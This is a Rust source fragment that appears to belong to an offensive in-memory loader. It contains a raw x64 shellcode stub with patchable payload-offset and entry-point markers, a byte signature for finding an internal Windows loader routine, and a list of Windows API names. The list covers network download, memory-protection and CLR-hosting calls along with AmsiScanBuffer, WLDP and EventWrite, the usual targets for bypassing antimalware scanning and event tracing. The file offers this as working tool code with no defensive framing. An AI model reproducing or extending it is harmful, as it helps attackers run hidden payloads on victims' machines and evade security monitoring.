#[cfg(feature = "std")]
pub static STUB_BYTES: [u8; 64] = [
0xe8, 0x00, 0x00, 0x00, 0x00, 0x5e, 0x48, 0x83, 0xee, 0x05, 0x48, 0x89,
0xe0, 0x56, 0x50, 0x48, 0x83, 0xe4, 0xf0, 0x48, 0x83, 0xec, 0x20, 0x48,
0xb9, 0xbb, 0xbb, 0xbb, 0xbb, 0xbb, 0xbb, 0xbb, 0xbb, 0x48, 0x01, 0xf1,
0x48, 0xba, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0xaa, 0x48, 0xb8,
0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x48, 0x01, 0xf0, 0xff,
0xd0, 0x5c, 0x5e, 0xc3,
];
#[cfg(feature = "std")]
pub static PAYLOAD_LEN_MARKER: [u8; 8] = [0xAA,0xAA,0xAA,0xAA,0xAA,0xAA,0xAA,0xAA];
#[cfg(feature = "std")]
pub static PAYLOAD_OFFSET_MARKER: [u8; 8] = [0xBB,0xBB,0xBB,0xBB,0xBB,0xBB,0xBB,0xBB];
#[cfg(feature = "std")]
pub static LOADER_ENTRY_OFFSET_MARKER: [u8; 8] = [0xCC,0xCC,0xCC,0xCC,0xCC,0xCC,0xCC,0xCC];
#[cfg(all(feature = "loader", windows))]
pub static LDRP_RELEASE_TLS_ENTRY_SIGNATURE_BYTES: &[u8] =
b"\x48\x89\x5C\x24\x08\x57\x48\x83\xEC\x20\x48\x8B";
#[cfg(feature = "std")]
pub const WINDOWS_UTILITIES: &[&str] = &[
"KERNEL32", "GetLastError", "LoadLibraryA", "GetProcAddress", "WININET", "NTDLL", "HttpSendRequestA", "HttpOpenRequestA", "HttpQueryInfoA", "InternetReadFile", "InternetConnectA", "InternetOpenA", "InternetCloseHandle", "InternetCrackUrlA", "InternetSetOptionA", "InternetQueryDataAvailable", "VirtualAlloc", "VirtualProtect", "VirtualFree", "GetProcessHeap", "HeapAlloc", "HeapReAlloc", "HeapFree", "FlushInstructionCache", "RtlDecompressBuffer", "MSCOREE", "SafeArrayCreate", "SafeArrayCreateVector", "SafeArrayPutElement", "SafeArrayDestroy", "SafeArrayGetLBound", "SafeArrayGetUBound", "SysAllocString", "SysFreeString", "CorBindToRuntime", "CLRCreateInstance", "CoInitializeEx", "CoCreateInstance", "CoUninitialize", "GetCommandLineA", "GetCommandLineW", "CommandLineToArgvW", "GetThreadContext", "GetCurrentThread", "GetCurrentProcess", "WaitForSingleObject", "CreateThread", "CreateFileA", "GetFileSizeEx", "CloseHandle", "ExitProcess", "ExitThread", "ADVAPI32", "CRYPT32", "OLE32", "OLEAUT32", "COMBASE", "USER32", "SHLWAPI", "SHELL32", "GetModuleHandleA", "VirtualQuery", "Sleep", "MultiByteToWideChar", "GetUserDefaultLCID", "LoadTypeLib", "RtlEqualUnicodeString", "RtlEqualString", "SafeArrayUnaccessData", "SafeArrayAccessData", "CLRCreateInstance", "SafeArrayGetElement", "TlsAlloc", "TlsSetValue", "TlsGetValue", "GetModuleHandleA", "AmsiScanBuffer", "AmsiScanString", "WldpQueryDynamicCodeTrust", "WldpIsClassInApprovedList", "EventWrite", "AMSI", "WLDP", ];